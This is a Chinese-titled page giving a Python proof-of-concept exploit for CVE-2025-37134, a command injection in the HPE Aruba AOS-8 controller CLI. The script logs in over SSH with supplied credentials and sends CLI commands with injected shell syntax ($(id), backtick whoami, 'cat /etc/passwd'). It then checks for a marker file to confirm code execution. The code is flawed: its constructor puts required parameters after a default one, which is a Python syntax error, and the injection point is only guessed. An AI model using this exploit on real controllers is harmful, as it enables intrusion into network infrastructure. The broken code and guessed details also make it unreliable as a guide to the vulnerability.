CVE-2025-37134：HPE Aruba AOS-8 CLI命令注入漏洞

# CVE-2025-37134 PoC - HPE Aruba AOS-8 CLI Command Injection # Vulnerability: Authenticated Command Injection in AOS-8 CLI binary # Attacker must have high-privilege CLI access (PR:H) import paramiko import sys import re class ArubaAOS8Exploit: """ PoC for CVE-2025-37134: Authenticated Command Injection in HPE Aruba AOS-8 Controller/Mobility Conductor CLI binary. """ def __init__(self, host, port=22, username, password): self.host = host self.port = port self.username = username self.password = password self.client = None def connect(self): """Establish SSH connection to the Aruba controller.""" self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.client.connect( hostname=self.host, port=self.port, username=self.username, password=self.password, look_for_keys=False, allow_agent=False ) print(f"[+] Connected to {self.host}:{self.port}") def execute_injection(self, malicious_payload): """ Inject OS commands via vulnerable CLI parameter. The CLI binary fails to sanitize shell metacharacters in certain arguments, allowing arbitrary command execution as a privileged user on the underlying OS. """ # The injection point: a CLI command argument that is passed # unsanitized to the underlying OS shell. # Example injection vectors may include filenames, hostnames, # or other user-supplied parameters processed by the CLI binary. injected_command = f'show user-table | include "$(id > /tmp/pwned_{malicious_payload})"' # Alternative injection patterns depending on vulnerable CLI command: # injected_command = f'ping {malicious_payload}; cat /etc/passwd' # injected_command = f'traceroute {malicious_payload}`whoami`' stdin, stdout, stderr = self.client.exec_command(injected_command) output = stdout.read().decode('utf-8', errors='ignore') error = stderr.read().decode('utf-8', errors='ignore') return output, error def verify_exploitation(self): """Verify command execution by checking for injected marker file.""" check_cmd = "ls -la /tmp/pwned_* 2>/dev/null" stdin, stdout, stderr = self.client.exec_command(check_cmd) output = stdout.read().decode('utf-8', errors='ignore') if 'pwned_' in output: print("[+] EXPLOITATION CONFIRMED: Arbitrary command executed!") print(f"[+] Output:\n{output}") return True else: print("[-] Exploitation marker not found.") return False def run(self): """Execute the full exploitation chain.""" try: self.connect() # Inject a benign command to verify RCE payload = "$(id)" output, error = self.execute_injection(payload) print(f"[*] CLI Output:\n{output}") if error: print(f"[*] CLI Error:\n{error}") self.verify_exploitation() except Exception as e: print(f"[-] Error: {e}") finally: if self.client: self.client.close() if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <host> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 admin password123") sys.exit(1) exploit = ArubaAOS8Exploit( host=sys.argv[1], username=sys.argv[2], password=sys.argv[3] ) exploit.run()